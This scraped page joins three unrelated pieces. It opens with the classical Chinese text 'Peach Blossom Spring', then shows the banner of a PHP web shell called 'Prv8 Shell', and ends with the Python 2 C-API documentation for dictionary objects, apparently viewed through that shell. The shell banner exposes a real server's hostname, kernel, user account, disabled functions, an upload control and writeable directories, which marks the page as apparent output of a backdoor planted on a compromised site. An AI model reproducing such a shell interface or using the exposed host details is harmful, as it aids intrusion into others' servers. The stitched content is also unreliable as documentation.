晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/python2-docs/html/_sources/c-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python2-docs/html/_sources/c-api/dict.rst.txt
.. highlightlang:: c

.. _dictobjects:

Dictionary Objects
------------------

.. index:: object: dictionary


.. c:type:: PyDictObject

   This subtype of :c:type:`PyObject` represents a Python dictionary object.


.. c:var:: PyTypeObject PyDict_Type

   .. index::
      single: DictType (in module types)
      single: DictionaryType (in module types)

   This instance of :c:type:`PyTypeObject` represents the Python dictionary
   type.  This is exposed to Python programs as ``dict`` and
   ``types.DictType``.


.. c:function:: int PyDict_Check(PyObject *p)

   Return true if *p* is a dict object or an instance of a subtype of the dict
   type.

   .. versionchanged:: 2.2
      Allowed subtypes to be accepted.


.. c:function:: int PyDict_CheckExact(PyObject *p)

   Return true if *p* is a dict object, but not an instance of a subtype of
   the dict type.

   .. versionadded:: 2.4


.. c:function:: PyObject* PyDict_New()

   Return a new empty dictionary, or *NULL* on failure.


.. c:function:: PyObject* PyDictProxy_New(PyObject *dict)

   Return a proxy object for a mapping which enforces read-only behavior.
   This is normally used to create a proxy to prevent modification of the
   dictionary for non-dynamic class types.

   .. versionadded:: 2.2


.. c:function:: void PyDict_Clear(PyObject *p)

   Empty an existing dictionary of all key-value pairs.


.. c:function:: int PyDict_Contains(PyObject *p, PyObject *key)

   Determine if dictionary *p* contains *key*.  If an item in *p* is matches
   *key*, return ``1``, otherwise return ``0``.  On error, return ``-1``.
   This is equivalent to the Python expression ``key in p``.

   .. versionadded:: 2.4


.. c:function:: PyObject* PyDict_Copy(PyObject *p)

   Return a new dictionary that contains the same key-value pairs as *p*.

   .. versionadded:: 1.6


.. c:function:: int PyDict_SetItem(PyObject *p, PyObject *key, PyObject *val)

   Insert *value* into the dictionary *p* with a key of *key*.  *key* must be
   :term:`hashable`; if it isn't, :exc:`TypeError` will be raised. Return
   ``0`` on success or ``-1`` on failure.


.. c:function:: int PyDict_SetItemString(PyObject *p, const char *key, PyObject *val)

   .. index:: single: PyString_FromString()

   Insert *value* into the dictionary *p* using *key* as a key. *key* should
   be a :c:type:`char\*`.  The key object is created using
   ``PyString_FromString(key)``.  Return ``0`` on success or ``-1`` on
   failure.


.. c:function:: int PyDict_DelItem(PyObject *p, PyObject *key)

   Remove the entry in dictionary *p* with key *key*. *key* must be hashable;
   if it isn't, :exc:`TypeError` is raised.  Return ``0`` on success or ``-1``
   on failure.


.. c:function:: int PyDict_DelItemString(PyObject *p, char *key)

   Remove the entry in dictionary *p* which has a key specified by the string
   *key*.  Return ``0`` on success or ``-1`` on failure.


.. c:function:: PyObject* PyDict_GetItem(PyObject *p, PyObject *key)

   Return the object from dictionary *p* which has a key *key*.  Return *NULL*
   if the key *key* is not present, but *without* setting an exception.


.. c:function:: PyObject* PyDict_GetItemString(PyObject *p, const char *key)

   This is the same as :c:func:`PyDict_GetItem`, but *key* is specified as a
   :c:type:`char\*`, rather than a :c:type:`PyObject\*`.


.. c:function:: PyObject* PyDict_Items(PyObject *p)

   Return a :c:type:`PyListObject` containing all the items from the
   dictionary, as in the dictionary method :meth:`dict.items`.


.. c:function:: PyObject* PyDict_Keys(PyObject *p)

   Return a :c:type:`PyListObject` containing all the keys from the dictionary,
   as in the dictionary method :meth:`dict.keys`.


.. c:function:: PyObject* PyDict_Values(PyObject *p)

   Return a :c:type:`PyListObject` containing all the values from the
   dictionary *p*, as in the dictionary method :meth:`dict.values`.


.. c:function:: Py_ssize_t PyDict_Size(PyObject *p)

   .. index:: builtin: len

   Return the number of items in the dictionary.  This is equivalent to
   ``len(p)`` on a dictionary.

   .. versionchanged:: 2.5
      This function returned an :c:type:`int` type.  This might require changes
      in your code for properly supporting 64-bit systems.


.. c:function:: int PyDict_Next(PyObject *p, Py_ssize_t *ppos, PyObject **pkey, PyObject **pvalue)

   Iterate over all key-value pairs in the dictionary *p*.  The
   :c:type:`Py_ssize_t` referred to by *ppos* must be initialized to ``0``
   prior to the first call to this function to start the iteration; the
   function returns true for each pair in the dictionary, and false once all
   pairs have been reported.  The parameters *pkey* and *pvalue* should either
   point to :c:type:`PyObject\*` variables that will be filled in with each key
   and value, respectively, or may be *NULL*.  Any references returned through
   them are borrowed.  *ppos* should not be altered during iteration. Its
   value represents offsets within the internal dictionary structure, and
   since the structure is sparse, the offsets are not consecutive.

   For example::

      PyObject *key, *value;
      Py_ssize_t pos = 0;

      while (PyDict_Next(self->dict, &pos, &key, &value)) {
          /* do something interesting with the values... */
          ...
      }

   The dictionary *p* should not be mutated during iteration.  It is safe
   (since Python 2.1) to modify the values of the keys as you iterate over the
   dictionary, but only so long as the set of keys does not change.  For
   example::

      PyObject *key, *value;
      Py_ssize_t pos = 0;

      while (PyDict_Next(self->dict, &pos, &key, &value)) {
          int i = PyInt_AS_LONG(value) + 1;
          PyObject *o = PyInt_FromLong(i);
          if (o == NULL)
              return -1;
          if (PyDict_SetItem(self->dict, key, o) < 0) {
              Py_DECREF(o);
              return -1;
          }
          Py_DECREF(o);
      }

   .. versionchanged:: 2.5
      This function used an :c:type:`int *` type for *ppos*. This might require
      changes in your code for properly supporting 64-bit systems.


.. c:function:: int PyDict_Merge(PyObject *a, PyObject *b, int override)

   Iterate over mapping object *b* adding key-value pairs to dictionary *a*.
   *b* may be a dictionary, or any object supporting :c:func:`PyMapping_Keys`
   and :c:func:`PyObject_GetItem`. If *override* is true, existing pairs in *a*
   will be replaced if a matching key is found in *b*, otherwise pairs will
   only be added if there is not a matching key in *a*. Return ``0`` on
   success or ``-1`` if an exception was raised.

   .. versionadded:: 2.2


.. c:function:: int PyDict_Update(PyObject *a, PyObject *b)

   This is the same as ``PyDict_Merge(a, b, 1)`` in C, and is similar to
   ``a.update(b)`` in Python except that :c:func:`PyDict_Update` doesn't fall
   back to the iterating over a sequence of key value pairs if the second
   argument has no "keys" attribute.  Return ``0`` on success or ``-1`` if an
   exception was raised.

   .. versionadded:: 2.2


.. c:function:: int PyDict_MergeFromSeq2(PyObject *a, PyObject *seq2, int override)

   Update or merge into dictionary *a*, from the key-value pairs in *seq2*.
   *seq2* must be an iterable object producing iterable objects of length 2,
   viewed as key-value pairs.  In case of duplicate keys, the last wins if
   *override* is true, else the first wins. Return ``0`` on success or ``-1``
   if an exception was raised. Equivalent Python (except for the return
   value)::

      def PyDict_MergeFromSeq2(a, seq2, override):
          for key, value in seq2:
              if override or key not in a:
                  a[key] = value

   .. versionadded:: 2.2

haha - 2025